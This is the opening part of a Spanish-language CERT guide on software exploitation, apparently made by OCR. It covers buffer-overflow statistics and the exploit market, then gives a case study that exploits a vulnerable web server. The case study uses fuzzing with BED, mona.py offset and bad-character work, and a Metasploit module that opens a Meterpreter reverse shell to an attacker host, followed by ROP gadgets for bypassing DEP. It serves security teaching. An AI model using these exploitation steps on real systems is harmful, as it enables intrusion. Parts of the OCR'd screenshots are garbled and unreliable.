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1. INTRODUCCION

Segun detalla el informe de vulnerabilidades de INTECO-CERT, durante el primer y segundo
semestre de 2011, de un total de 4160 vulnerabilidades (2037 del primer semestre y 2123
del segundo), aquellas clasificadas como “Error de Buffer” y “XSS” son las mas
abundantes. Asimismo, Microsoft sigue siendo el fabricante mas afectado respecto al resto
de desarrolladores de software como Sun, Adobe, Mozilla o Apple.

Las vulnerabilidades recogidas en dicho informe representan aquellas reportadas por
investigadores y otros fabricantes a la National Vulnerability Database' del Instituto
Nacional de Estandares y Tecnologias de EE.UU. (NIST, Nacional Institute of Standards
and Technology), organismo dependiente del Gobierno de EE.UU., con el que INTECO tiene
un acuerdo de colaboracién. Como muestra el siguiente grafico, un 12% y un 11% durante
el primer y segundo semestre respectivamente se corresponden con vulnerabilidades de tipo
“Error de buffer”.
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Figura 1. Vulnerabilidades 2011

Segun describe el MITRE? este tipo de vulnerabilidad, conocido también como buffer
overflow o buffer overrun , se produce cuando: “un programa intenta poner mas datos en un
bafer de lo que realmente puede almacenar, o cuando un programa trata de poner los datos
en un area de memoria fuera de los limites de un bufer ... la causa mas comun de
desbordamientos de bufer, es el tipico caso en el que el programa copia el bdfer sin
restringir el nUmero de bytes a copiar.”

! National Vulnerability Database
http://nvd.nist.gov/

2 MITRE Corporation
http://www.mitre.org/about/
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A pesar de ser una vulnerabilidad bien conocida desde los afios 80 (Morris® fue uno de
los primeros gusanos que explotaron este tipo de bug) sigue siendo uno de los motivos por
el que muchos sistemas son comprometidos. La incorrecta o débil validacion de datos
de entrada asi como la falta de control sobre el tamafio de las variables, arrays o la
incorrecta gestién de punteros, son uno de los mayores problemas, que desde hace
tiempo son los causantes directos de muchos problemas de seguridad criticos.

Por este motivo y con objeto de concienciar a programadores y desarrolladores de software,
INTECO-CERT ha preparado esta guia titulada “Software Exploitation” con la que
pretende informar sobre los métodos empleados para comprometer sistemas
aprovechandose de vulnerabilidades de tipo buffer-overflow, off-by-one, use-after-free,
format strings, etc., asi como contramedidas existentes hoy en dia, tanto en los sistemas
operativos actuales como en ciertos compiladores, para ayudar a mitigar (o reducir en mayor
medida) este tipo de vulnerabilidades.

Esta guia no pretende cubrir en profundidad aspectos relacionados con la basqueda de
vulnerabilidades o el shellcoding, sino simplemente dar a conocer determinados recursos
que ayuden a proteger y fortificar nuestro software, asi como ciertas “buenas practicas” de
programacion para evitar el desarrollo de software vulnerable. Si se desea profundizar en
detalle sobre el mundo de las vulnerabilidades y el exploiting existen excelentes libros
como:

- A Bug Hunters Diary de Tobias Klein

- The Shellcoder’s Handbook: Discovering and Exploiting Security Holes de Chris Anley,
John Heasman, Felix Lindner y Gerardo Richarte

- Gray Hat Python: Python Programming for Hackers and Reverse Engineers de Justin
Seitz

- Hacking: The Art of Exploitation de Jon Erickson

- Hunting Security Bugs de Tom Gallagher, Lawrence Landauer y Bryan Jeffries

- A Guide to Kernel Exploitation de Enrico Perla y Massimialiano Oldani

- TheTangled Web: A Guide to Securing Modern Web Applications de Michal Zalewski

- Metasploit: The Penetration Tester's Guide de Mati Aharoni, Devon Kearns, Jim O'Gorman,
David Kennedy

- Fuzzing: Brute Force Vulnerability Discovery de Michael Sutton; Adam Greene; Pedram Amini

- Advanced Windows Debugging de Mario Hewardt, Daniel Pravat

Pese a ello hay un abanico enorme de técnicas en constante evolucién, asi como
herramientas de pentesting que no se cubrirdn en esta guia al no ser objeto directo del
mismo y por ser practicamente inviable recogerlas en un Unico documento.

No obstante, a fin de enriquecer el contenido del informe, se afiadirdn multiples referencias a
textos relacionados con el exploiting. Algunos de los recursos que mas se hombraran y cuya
lectura se recomienda plenamente se citan a continuacion:

® Wikipedia: Gusano Morris
http://es.wikipedia.org/wiki/Gusano_Morris
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- Exploit Writing Tutorials de Corelan
https://www.corelan.be/index.php/articles/
- Uninformed:
http://luninformed.org/?v=all
- Bypassing Browser Memory Protections
https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf
- The Stack-based Buffer Overflow Vulnerability and Exploit
http://www.tenouk.com/Bufferoverflowc/stackbasedbufferoverflow.html
- Shell Storm
http://www.shell-storm.org/shellcode/
- Overflowedminds
http://www.overflowedminds.net
- Vividmachines
http://www.vividmachines.com/shellcode/shellcode.html#as

- Understanding Windows Shellcode
http://www.hick.org/code/skape/papers/win32-shellcode.pdf

- Metasploit exploit development
https://lcommunity.rapid7.com/community/metasploit/blog/2012/07/05/part-1-metasploit-module-
development--the-series

Ademaés, paginas como Codeproject* o StackOverflow® seran excelentes recursos donde
consultar y ayudar a otros profesionales en aspectos relacionados con programacion y
seguridad. Si existen dudas de si cierto cédigo puede ser vulnerable, se necesita optimizar
cierto algoritmo, si se tienen problemas para compilar cddigo, etc., StackOverflow es un
buen lugar para presentar tus preguntas o bien ayudar a otros profesionales. El servicio es
gratuito y Unicamente necesitas registrarte para poder interactuar en \

el portal (es importante leer la seccibn de preguntas frecuentes .:\_\

FAQ?® para conocer las buenas practicas del sitio web). El sta Ckoverﬂow

Nota: sea cuidadoso con el cédigo publicado en este tipo de paginas y la informacién
publica sobre su perfil. Un atacante podria utilizar esta informacién de forma ofensiva (por ej.
relacionando cédigo vulnerable con cierto software de su compafia)

Por otro lado, ya que las entradas en el software (inputs) representan uno de los puntos mas
criticos y que mas problemas de seguridad o inestabilidad suelen producir en los sistemas,
se dara una gran importancia a las herramientas de fuzzing asi como las de andlisis de
cbdigo estatico/dindmico. Ambos puntos trataran de abordar la auditoria de software desde
enfoques White y Black Box.

* The Code Project
http://www.codeproject.com/
® StackOverflow: FAQ
http://stackoverflow.com/faq/
StackOverflow
http://stackoverflow.com
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2. OBJETIVOS

La guia se centrara por una lado, en explicar determinados conceptos técnicos
imprescindibles para comprender algunas de las vulnerabilidades mas explotadas
actualmente; y, por otro, detallar por medio de ejemplos practicos diversos casos de mala
praxis en programacion, tanto en entornos Linux como Windows. El documento, por tanto,
pretendera servir de guia tanto a programadores y analistas de software como a
responsables de seguridad encargados de implementar, adaptar o instalar software en
entornos corporativos. Los objetivos que trataran de cubrirse se citan a continuacion:

o Detallar algunas de las técnicas y herramientas actuales utilizadas durante el proceso de
explotaciébn de software. Esto abarca desde herramientas de fuzzing orientadas a
buscar bugs, hasta herramientas mas especializadas para crear exploits que permitan
explotar dichos bugs y obtener acceso al sistema vulnerable.

e Explicar determinados conceptos relacionados con el Sistema Operativo como la gestion
de memoria por medio de ejemplos practicos que ayuden a entender el origen de
muchas de las vulnerabilidades en software.

e Ayudar a desarrolladores de software a implementar medidas preventivas que ayuden a
mitigar o reducir lo maximo posible errores comunes de programacion y que pueden ser
aprovechados para comprometer un equipo.

e Proporcionar herramientas que ayuden al analista de software a buscar e identificar bugs
que pueden derivar en serios problemas de seguridad.

Conocer estos conceptos nos ayudara no solamente a la hora de desarrollar o analizar
software sino también a la hora de implementar actualizaciones, aplicar parches de
seguridad o simplemente a valorar y comprender la criticidad que pueden tener ciertos
avisos de seguridad publicados por fabricantes de software.

Software Exploitation 7
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3. EXPLOITS COMO NEGOCIO

La evolucién de herramientas de seguridad dirigidas a explotar software ha sido exponencial
en los ultimos afios. Fuzzers, debuggers, frameworks como Metasploit, Corelmpact,
Canvas, Mercury’, etc., surgen ante la necesidad de disponer de herramientas que faciliten
enormemente la labor del pentester a la hora de buscar y explotar vulnerabilidades en todo
tipo de software. La automatizacion de determinadas tareas con ciertas herramientas como
por ejemplo la creaciébn de shellcodes desde Metasploit, plugins como Mona.py para
Immunity Debugger, exploitable® o byakugan® para windbg, plugins'® como patchdiff2'* o
bindiff para IDA, asi como o el uso de herramientas como FOE (Failure Observation
Engine)™ o la reciente AEG (Automatic Exploit Generation)*® hacen que la busqueda de
cierto tipo de vulnerabilidades sea una actividad mas terrenal que afos atras. Sin embargo,
algunas de estas herramientas también suponen un peligro en manos de ciberdelicuentes
cuyo objetivo es aprovecharse de dichos bugs para infectar equipos de forma masiva o crear
malware a medida con el que comprometer organizaciones concretas con fines de
ciberespionaje y robo de informacion (veanse APTs como Stuxnet, Duqu o el reciente
Flame')

Teniendo en cuenta que el precio de ciertos exploits (Adobe Reader, Internet Explorer o
Windows) en el mercado negro puede rondar entre los $50,000 y $100,000 segin Dan
Holden, director de seguridad de DV Labs (ZDI), parece obvio que la inversién en tiempo
por parte de los cibercriminales en este campo puede ser mas que rentable. Aunque existen
iniciativas  como TippingPoint’s Zero Day Initiative'®, el iDefense Vulnerability
Contributor Program®, o algunas de las 20 empresas publicas'’ que recompensan a
“cazadores de bugs”, parece que el mercado negro de exploits'® supone, en ocasiones,
una inversién mucho mayor que la compra/venta'® legal de vulnerabilidades.

Mercury: A free framework for bug hunters to find vulnerabilities in Android
http://lwww.reddit.com/tb/r3atb

The History of the !exploitable Crash Analyzer
http://blogs.technet.com/b/srd/archive/2009/04/08/the-history-of-the-exploitable-crash-analyzer.aspx
Byakugan WinDBG Plugin Released!
https://community.rapid7.com/community/metasploit/blog/2008/08/20/byakugan-windbg-plugin-released
Explota al maximo tu IDA Pro: los mejores plugins
http://vierito.es/wordpress/2010/06/03/explota-al-maximo-tu-ida-pro-los-mejores-plugins/

Patch Bindiffing

http://lwww.pentester.es/2011/11/patch-bindiffing-ii.html

CERT Failure Observation Engine (FOE)

http://lwww.cert.org/vuls/discovery/foe.html

AEG: Automatic Exploit Generation

http://security.ece.cmu.edu/aeg/aeg-current.pdf
The Flame: Questions and Answers
http://www.securelist.com/en/blog?print_mode=1&weblogid=208193522/
TippingPoint Zero Day Initiative

http://www.zerodayinitiative.com/

iDefense Vulnerability Contributor Program (VCP)
http://lwww.verisigninc.com/es_AR/products-and-services/network-intelligence-availability/idefense/public-vulnerability
reports/index.xhtml

"No More Free Bugs" Initiatives

http://blog.nibblesec.org/2011/10/no-more-free-bugs-initiatives.html
Toward a Dynamic Modeling of the Vulnerability Black Market
http://wesii.econinfosec.org/draft.php?paper_id=44

ExploitHub

https://www.exploithub.com/
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La negativa de Chaouki Bekrar, CEO de VUPEN, a entregar el exploit®® con el que consigui6
ejecutar codigo en Chrome durante la Pwn20wn de este afio (eludiendo DEP, ASLR vy la
sandbox del navegador) asi como su rechazo a los $60000 ofrecidos por Google, puede
darnos una idea del valor que puede suponer este tipo de exploits. Segun declaraciones de
Bekrar®!, no compartirian dicha informacién con Google ni por 1 millén de délares

i

“We wouldn'’t share this with Google for even $1 million,” “We don’t want to give them any
knowledge that can help them in fixing this exploit or other similar exploits. We want to keep
this for our customers.”

Actualmente, empresas como Vupen, Netragard o Endgame disponen de clientes,
generalmente empresas gubernamentales, que pueden llegar a pagar suscripciones
anuales por cifras muy elevadas, permitiéndoles acceder a un mercado de exploits para
software de uso comin como Microsoft Word, Adobe Reader, Android, iOS, etc.

Incluso trabajar como broker para la venta/compra de exploits puede suponer un negocio
bastante rentable, como es el caso de Grusp, investigador de seguridad que se gana la vida
mediante la venta de zero-days de “alta gama”. Segun sus declaraciones a Forbes?, su
comision sobre las ventas de exploits es del 15%, pudiendo ganar en un afio mas de $1
millén de délares.

La valoracion sobre el precio del exploit

B i ADOBE READER $5,000-%$30,000
dependera de factores como el tipo (remoto, .c osx $20,000-$50,000
local), el software objetivo afectado, asi como  anoroip $30,000-$60,000
calidad del mismo para evadir medias de  FLASH OR JAVA BROWSER PLUG-INS $40,000-$100,000
seguridad Complejas. MICROSOFT WORD $50,000-$100,000

WINDOWS $60,000-$120,000
Este Ultimo factor es el que hace precisamente — FREFOX OR SAFARI SE00N0SOR00
. CHROME OR INTERNET EXPLORER $80,000-%200,000
que un exploit para IOS pueda llegar a valorarse R e
entre 100.000 y 250.000 ddlares, bastante
superior a uno dirigido a dispositivos Android. Figura 2. Precio exploits (www.forbes.com)

Segun Grusq, éste seria el precio que muchas agencias hubieran estado dispuestas a pagar
por el JailbreakMe 3 desarrollado por Comex?, el cual permite eliminar las restricciones de
seguridad implementadas en dispositivos Apple.

% VUPEN Pwned Google Chrome aka Sandbox/ASLR/DEP Bypass

http://lwww.youtube.com/watch?v=c8cQ0yU89sk&feature=player_embedded

Meet The Hackers Who Sell Spies The Tools To Crack Your PC

http://lwww.forbes.com/sites/andygreenberg/2012/03/21/meet-the-hackers-who-sell-spies-the-tools-to-crack-your-pc-and-get-paid-six-

figure-fees/

2 Meet The Hackers Who Sell Spies The Tools To Crack Your PC
http://lwww.forbes.com/sites/andygreenberg/2012/03/21/meet-the-hackers-who-sell-spies-the-tools-to-crack-your-pc-and-get-paid-six-
figure-fees/2/

% JailbreakMe
http://lwww.jailbreakme.com/#
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Otro indicativo del interés que despierta este negocio por parte de cibercriminales es el
namero de web kit exploits®* que han surgido en los Gltimos afios (Crimepack, Phoenix ,
Unique, Eleonore, Liberty, Fiesta, Adpack,...).

Estos kits no son mas que repertorios de exploits que intentan aprovecharse de diversas
vulnerabilidades en navegadores y plugins para comprometer equipos de forma masiva. Es
obvio, por tanto, que la busqueda de vulnerabilidades ha despertado el interés tanto por
investigadores de seguridad como por cibercriminales.

Como se comentd anteriormente, la aparicion de herramientas que facilitan esta tarea
supone un arma de doble filo. Por un lado, los desarrolladores de software disponen de mas
medios para localizar y auditar software vulnerable, pero, de forma paralela, la busqueda de
ciertos bugs asi como la creacion de ciertos exploits ya no estan al alcance Unicamente de
expertos con un alto nivel de ensamblador y sistemas operativos.

2 Exploit Kits — A Different View
http://newsroom.kaspersky.eu/fileadmin/user_upload/dk/Downloads/PDFs/110210_Analytical_Article_Exploit_Kits.pdf

Software Exploitation 10
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4. CASOS DE ESTUDIO

Los siguientes apartados tienen un doble objetivo. En primer lugar, mostrar las implicaciones
de seguridad que pueden tener ciertos errores de programacion aparentemente inofensivos,
y en segundo lugar, mostrar la facilidad y el tiempo que nos ahorran determinadas
herramientas con las que podremos explotar y sacar partido de las vulnerabilidades
encontradas. Muchos de los conceptos técnicos que se expondran en estos casos de
estudio se iran explicando a lo largo del informe.

41. SERVIDOR WEB VULNERABLE: FROM BUG TO SHELL
(MONA.PY SUGGEST / ROP GADGETS)

El siguiente caso mostrara un servidor Web vulnerable que no valida correctamente ciertos
parametros de entrada. Para enfrentarse a una auditoria de este tipo, donde no tenemos el
codigo fuente de la aplicacion, es comun utilizar herramientas de fuzzing para intentar
generar valores irregulares de diversa longitud para cada uno de los parametros que dicho
software puede recibir por parte del usuario. La idea es intentar corromper el propio
programa por medio de alguna de estas cadenas que no fueron correctamente validadas por
el desarrollador.

Al tratarse de un servidor Web se hara uso de BED (Bruteforce Exploit Detector), script en
perl que permite hacer fuzzing de aplicaciones que soportan protocolos como HTTP, IRC,
IMAP, SOCKS, SMTP, etc., para buscar vulnerabilidades de tipo buffer overflow, format
string, integer overflow, etc. Dentro del directorio ./bedmod/* (/pentest/fuzzers/bed en
Backtrack 5) nos encontramos con los modulos que contienen los parametros a fuzzear. En
el caso de http, podemos ver que el fichero http.pm considera los siguientes:

Figura 3. Parametros http (bed.pl)

La variable XAXAX serd la que BED
sustituira en cada una de las iteraciones
por patrones de diversa longitud para
fuzzear la aplicacion.

Software Exploitation 11
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Para aplicaciones o servicios de los que desconozcamos su protocolo o que carezcan de
documentacion, la idea es analizar trafico e intentar deducir dicho protocolo para
posteriormente fuzzear determinados parametros con herramientas mas flexibles como
Peach o Spike; este caso sera considerado en el punto 8.2

:/pentest/fuzzers/bed# nmap -p 80,8080 -PN 192.168.1.33

Volviendo al ejemplo, y tras N e
ap 5.61TEST4 ht map.org ) at 2012-67-15 12:15 EDT

comprobar que el servidor web || s 2.1
utiliza el puerto 8080, lanzamos [ :
BED como se muestra en la
imagen adjunta.

t up) sc
Rapidamente vemos que el i
métOdO HEAD generé un error BED 0.5 by mjm ( ww dito.de ) & eric ( www.snake-basket.de )
de conexién con el servidor | e
como ConsecuenCia de un DoS g r ’i : E ......Problem (3) occured with -2-HEAD /

(denegacién de servicio) en el
mismao. Figura 4. Bed.pl -s http

Si analizamos el trafico generado por BED observamos lo siguiente:

Aplicaciones Lugares G = 4 18:20 R illuminatus %

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

e & & Q & T & BE ol dEEX @
Filter: |http.request.method == "HEAD" ~ | Expression... Clear @@ @ Follow TCP Stream
No. Time Source Destination Protocol Length Info Stream Content
20 7.619588  192.168.1.37  192.168.1.33 HTTP 85 HEAD / HTTP/1.@ HEAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
277676493 192168137 192168133 HﬁP 117 HEADAMAAMAM AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAARAAAAAAAAAANARAAARAAARAAARAAARAR
46 8.749741  192.168.1.37  192.168.1.33 HTTP 338 HEAD AAAAAAAAAA ) o o ;A AR AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS = PAA
64 9.820259 192.168.1.37 192.168.1.33 |HTTP 339 HEAD AAAAAAAAAA AAA
83 10.876080 192.168.1.37 192.168.1.33 HTTP 1187 HEAD AAAAAAAAAA AAA
98 11.953302 182.168.1.37 192.168.1.33 HTTP 1188 HEAD AAAAAAAAAA AAA
115 13.914580 192.168.1.37 192.168.1.33 HTTP 683 HEAD AAAAAAAAAA AAA
ARAAAR AR AR AR AR AR AR AR A AR AAARAAARAAARAAARARARARARARARARARARALARALARALARALA
133 14.140077 192.168.1.37 192.168.1.33 HTTP 684 HEAD AAAAAAAAAA AAA

e eoeotio_ dammam Lo -

Figura 5. Captura Wireshark

Como vemos, se envian cadenas de diversa longitud como parametro al método HEAD.
Como consecuencia del envio de alguna de estas cadenas, el servidor web dej6 de
responder, dando lugar al mensaje generado por BED.

Para ver en mayor profundidad que tipo de error se
produjo en el servidor, intentaremos recrear una
solicitud con el método HEAD desde Python. Lo
Gnico que haremos es simular una conexion legitima .
con el server enviando el método HEAD junto a una et

. ost: + ip + ":" + str(puerto) + "\r\n
serie de cabeceras como el host, User-Agent y RESSEEEISEESAVAUE

. . . . "Connection: keep-alive\r\n\r\n")

Connection. Antes de ejecutar el script abriremos de e AT T SRR =)
nuevo el servidor web vulnerable y haremos un attach SESSIIERSeTTEIEEY
al mismo desde Immunity Debugger. Posteriormente |iSigs ocv(1624)

ejecutamos:

Figura 6. Script python (fuzz head method)
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root@bt:/tmp# python vuln-srv.py 192.168.1.133 8080 Si observamos Immunity, el registro de
Traceback (most recent call last): instruccion  ha  sido  sobrescrito  por
File “vuln-srv.py”, line 14, in <module> 0x41414141. Para calcular el niumero de bytes

data = skt.recv(1024) gue necesitamos enviar antes de sobrescribir
sncket error [Frrno 1041 Connection reset hv neer EIP se utilizara pattern_create desde

Immunity por medio del script mona.py®. Sin
duda alguna este script, desarrollado por Corelan Team, es un excelente asistente
durante el proceso de explotacion de software ofreciendo gran variedad de
funcionalidades.

Ad4AdSAdEAdPRDSAd9R=ER: 1R e;

[+]1 This mona.py acti

Imnna nattern create 1000

Figura 7. !mona pattern_offset

Estos caracteres los sustituiremos en la
variable  buffer="Aa0Aa1Aa2Aa3A...”
del script anterior. Tras lanzarlo de nuevo
vemos que tanto EIP como SEH
(Structured Exception Handling®) ha
sido sobrescrito por dicha cadena. Es
decir, que por algin motivo, enviando un
HEAD / seguido de una cadena lo
suficientemente larga se consigue
corromper el codigo de la aplicacién.

'mona pattern_offset{41346341
Figura 8. !mona pattern_create

Exactamente a partir de la posicion 192, como indica la salida de pattern_offset, se produce
la sobreescritura de EIP.

Loak ing for AcdA

Figura 9. EIP overwrite (192)

Tras analizar el espacio disponible después del return address se observa que hay espacio
de sobra para almacenar un shellcode, asi que se procede a crear un exploit a medida.
Para ello se utilizara de nuevo mona.py, esta vez con el parametro suggest. Este comando
buscara bytes del patrén generado anteriormente con pattern_create y analizara si éstos
han sobreescrito EIP o SEH, en cuyo caso, si encuentra factible la explotacién de la
aplicacion, generara una plantilla en ruby con la sintaxis propia de Metasploit y con el codigo
necesario para ejecutar el exploit desde dicho framework.

% Mona.py: the manual

http://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
Exploit writing tutorial part 3: SEH Based Exploits
https://lwww.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

26
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Durante la ejecucién del comando, nos preguntara el tipo de estructura que deseamos
generar para el script; por ejemplo, si la aplicacion hace uso de TCP o UDP. Con estos
datos generard todo el esqueleto del script desde 0 (por ejemplo afiadiendo los mixins
necesarios como Msf::Exploit::Remote:Tcp en nuestro caso)

Como se aprecia en la salida, vemos que Mona.py crea dos ficheros “.rb” en el directorio de
instalacion de Immunity.

Imona suggest

Figura 10. Imona suggest

El primero de ellos crea la estructura del exploit para el EIP overwrite y el segundo para el
SEH.

HOF BE0
payload for sawved return pointer

50 ' En nuestro caso
utilizaremos el  primer
script, cuya estructura es
mostrada también desde
la ventana de logging de
Immunity como se
muestra en la imagen
adjunta. Sin embargo,
como podemos ver, la
direccion de la instruccion
que ha seleccionado para
hacer el call esp y saltar

Uk Lon

end

asi a nuestro payload
contiene un null byte, lo
gue frustraria el intento de
explotacién, ya que la aplicacion cortaria la peticion HEAD justo a partir de dicho byte.

[+] Attempting to

Figura 11. !mona suggest (skeleton)

Cabe decir que suggest también admite opciones para evitar bad characters, por lo que
podria haberse ejecutado !'mona suggest —cpb “\x00\x0a\x0d”.
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Sin embargo, se utilizara el comando find para mostrar el potencial que puede ofrecernos. Si
observamos uno de los ficheros generados durante la ejecucion de !mona.py suggest,
denominado findmsp.txt, podemos ver gran cantidad de informacion sobre las librerias que

utiliza la aplicacién asi como el propio ejecutable. Como se muestra en la imagen, ninguna

de esas librerias utiliza SafeSEH ni ASLR, por lo que cualquiera de ellas puede servirnos

para buscar un call esp

(siempre y cuando no

Archivo  Edicidn  Formato  Wer  Ayuda

i contengan null bytes).

output generated by mona.py wl.3-dew, rev 171
Corelan Team - https: A, corelan.be

0s @ ®p, release E.1.2600
Process being debugged @ =iwin3z (pid 3704)

En nuestro caso

2012-06-1¢ 20:E0:21

edTe anto : seleccionaremos
szrzlon e 2 kernel32.dll para  buscar

Base | Top | size Rebase | saTeSEH | ASLR MxiCompat | Os 011

| | |
0x7Eee0d00 | 0xFefOF000 | Ox00027000 | False | True | False | False | True | 5.1.2600.6083 [DNSAFPI.dI11]
(S WINDOWSY 5y's Cem3 23 ONSAPT. d11) .
0x7CE00000 | O0xFCS03000 | Ox00l03000 | False | True | False | False | True | 5.1.2600.5731 [kernelzz.d11]
(2 WWINDOWS S 5ys tem3zhkernel3z.d11) en e"a un Ca” esp Valldo
0x77be0000 | 0xF7C38000 | Ox00053000 | False | True | False | False | True | 7.0.2600.5512 [mswcrt.dll]
[ W WINDOWS 5y tem3 z2ymswort.d11) HH
0x7C310000 | OxFCScS8000 | O<000b3000 | False | True | False | False | True | 5.1.2600.6055 [ntdl1.d11] De nueVO, UtlllzaremOS
(W WINDOWSY 5ys tem3zhntdl1.d11)
0x71al0000 | 0x7lalsS000 | O<0000%000 | False | True | False | False | True | 5.1.2600.5512 [wshtcpip.dll] M d t I
(2 W WINDOWSY Sy's tem3 2hwshtcpip. d11)
Ox7FEFE0000 | 0x7FEfEE000 | Ox00006000 | False | True | False | False | True | 5.1.2600.5512 [rasadhlp.dl11] Onapy me Ian e e
[ N WINDOWS S Sy's tem3 2hrasadhlp, d11)
OxF7fco000 | ox7FFfdloon | O<00011000 | False | True | False | False | True | 5.1.2600.5834 [Secur3z.dl1] 1
[ N WINDOWS S Sys tem2 2y Secur3z.d11) ComandO flnd, E| Cual nOS
0x71ab0000 | 0xFlaca0nod | O<0000a000 | False | True | False | False | True | E.1.2600.5512 [WsocCk2z.d11]

permite buscar
instrucciones, cadenas,
opcodes, etc., dentro del espacio de direcciones del proceso. Para buscar la instruccion
ejecutamos:

Figura 12. Fichero findmsp.txt

find.tat
of type "Moall esp™t o 1

{PAGE_| UTE_READY} Ckernel22.dLL] ASLR: False, Rebaze: False, SafeSEH: True, 05: Trus,

[+] This mona.py action took B:00:81.4540086

|!muna find -type instr -s "call esp' -b 0x7c800000 -t 0x7c903000 -n

Figura 13. !mona find

El argumento instr indica que el tipo de patron buscado es una instruccién. Con —b
especificamos el rango de memoria a buscar, que como se observa en findmsp.txt se
corresponde con el espacio de direcciones de kernel32.dll. Tras ejecutar el comando vemos
que Mona nos muestra una direccion, 0x7¢836a08 dentro de kernel32.dll que cumple con
los requisitos para ser utilizado en nuestro exploit.

El dltimo paso, antes de completar el exploit, es comprobar que los caracteres utilizados por
nuestro payload no seran modificados una vez sean procesados por la aplicacion. Es
importante comprobar esto ya que cualquier modificacion en el payload significara el fracaso
del exploit. Mona también cuenta con una estupenda funcionalidad para buscar posibles bad
chars dentro del proceso de la aplicacion. La idea es generar el rango de caracteres de \x00
a \xFF e inyectarlo en memoria (usando por ejemplo, el mismo script en Python que
utilizamos anteriormente).
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Cuando se produzca el crash de la aplicacion, mona.py ir4 buscando bloques de memoria
de dicho rango en el proceso y los irA comparando con una copia almacenada en disco. De
esta forma mona.py te ira mostrado cada uno de los bytes que fueron modificados por la
aplicacion. Para generar el rango de caracteres podemos usar el siguiente comando:

Figura 15. Imona compare
Una vez copiados dichos valores a nuestro script (la 2 — .
opcion —b permite omitir algunos caracteres que suelen
generar problemas) ejecutariamos mona.py con el
comando compare.

Como se muestran en la figura, mona.py comenzaria a [fmona compare f bytearray.bin

indicar los caracteres que se han modificado en nuestro Figura 14. !mona bytearray
bufer.

Una vez se hayan localizado bad
characters, Unicamente es necesario
modificar el fichero exploit.rb
generado por mona.py con los
nuevos valores y el propio cuerpo
ey del exploit para definir las cabeceras
‘S gue producen el crash.

Figura 16. testweb.rb (metasploit)

msf > use exploit/windows/http/testweb

nsf  exploit( ) > set RHOST 192.168.1.33
RHOST => 192.168.1.33
S . . . Insf exploit( ) > set RPORT 8080
Por dltimo, podemos copiar dicho script e ——
dentrO del dlrECtOFIO [*] Started reverse handler on 192.168.1.35:4444
. . [*] Sending request...
(_/moduIeS/eXp|0|tS/W|ndows/http) en { Sending st:ge (752128 bytes) to 192.168.1.33

*] Meterpreter session 1 opened (192.168.1.35:4444 -> 192.168.1.33:3184) at Sun Jul 15 23:38:52 +0200 2012

Metasploit y ejecutar el mismo. peterpretecis

Figura 17. Ejecutando testweb desde Metasploit
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Como vemos, herramientas como mona.py 0 Metasploit proporcionan excelentes
funcionalidades que de forma automatizada nos permitirian ayudar a construir ciertos
exploits desde 0. Desde el punto de vista del auditor, estas herramientas pueden ser
realmente Utiles para analizar un posible DoS de una aplicacion y comprobar que el mismo
puede ser 0 no susceptible de ser explotado, comprobar exploits, buscar vulnerabilidades,
etc.

Aunque el ejemplo visto en este apartado es realmente simple, al tratarse de un direct EIP
overwrite, donde no nos hemos tenido que “enfrentar” a medidas como DEP o ASLR (las
cuales se veran a lo largo del documento), mona.py también proporciona excelentes
comandos para evadir este tipo de barreras. Sin lugar a dudas una de las mejores
funcionalidades de este script es generar ROP Gadgets con los que evadir DEP y ASLR
(véase !Imonarop y 'mona ropfunc).

o S X b Il s+ llemtwh cPk Lg idea es buscar determinados sets de
e e instrucciones en memoria (por ej. dlls) que

e puedan ser utilizadas para llamar a ciertas APls
de Windows con las que eludir DEP. Este set
de instrucciones debe acabar en una
instruccién de tipo RETN para poder enlazar
cada uno de los gadgets que se vayan
construyendo. Puesto que DEP impide ejecutar
cbdigo desde la pila, Unicamente
almacenariamos en el stack las direcciones de
cada uno de estos gadgets. De esta forma,
jugando con las instrucciones RETN y las
direcciones alojadas de la pila, podriamos
ejecutar codigo fuera del stack.

Por ejemplo, si fuera posible encontrar ciertos
gadgets para llamar a la funcidon
VirtualProtect() quizas podria cambiarse el tipo
de acceso a cierta pagina de memoria,
marcandola como ejecutable, y posteriormente
alojar nuestro shellcode en dicha pagina. Sien
lugar de VirtualProtect(), pudiéramos construir
gadgets para llamar a la  funcién
!mona rop -m "MSVCR71.dll. MSVRF1.dII" SetProcessDEPPoIicy() seria posible
desactivar DEP para el proceso actual y
ejecutar codigo desde la pila.

8P
it
it
it
it
it
it
it
it
it
8P
it
it
it
it
it

Figura 18. Rop gadget (VirtualAlloc())

Buscar gadgets en librerias (non-ASLR) suele ser una tarea realmente costosa y en muchos
casos frustrante cuando no es posible encontrar los gadgets suficientes para llamar a cierta
API. Mona.py ahorra multitud de esfuerzo buscando de forma inteligente opcodes que
puedan ser Utiles para generar un ROP chain.
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Instituto Nacional
de Tecnologias
de la Comunicacién

GOBIERNC
DE ESPANA

iInTeco

ISTERIO ,
DE INDUSTRIA, ENERGIA
T TURISMO

F

En la imagen anterior se muestra parte de la salida generada por mona.py tras indicarle el
comando rop y los mdédulos en los que quiere buscar posibles ROP chains (por defecto,
busca en médulos sin ASLR y que no pertenezcan al sistema operativo). Como se ve en la
imagen, mona.py ha encontrado una posible cadena de gadgets con la que llamar a
VirtualAlloc() utilizando MSVCR71.dll. Con esta funcion seria posible asignar memoria y
darle permisos de ejecucion/lectura/escritura (pardmetro EXECUTE_READWRITE) para
posteriormente alojar nuestro shellcode.

root@Mordor: /opt/metasploit-4.3.0/msf3# ./msfrop -v /tmp/msvcr71.dll | more
Collecting gadgets from /tmp/msvcr71.d1ll
Found gadgets

Metasploit también incorpora un script
para localizar gadgets (msfrop)
aungue Unicamente se limita a buscar
instrucciones de tipo: INST RET
como se muestra en la imagen
adjunta.

/tmp/msvcr71.dll gadget: 0x7c341022
0x7¢c341022: idiv byte ptr [ebx]
0Xx7¢341024: ret

/tmp/msvcr71.d1ll gadget: 0x7c¢341092
add [ebx], bh
ret

Figura 19. msfrop

/tmp/msvcr71.dll gadget: 6x7c3410c3

@Fi\e View Debug Plugins Options Window Help
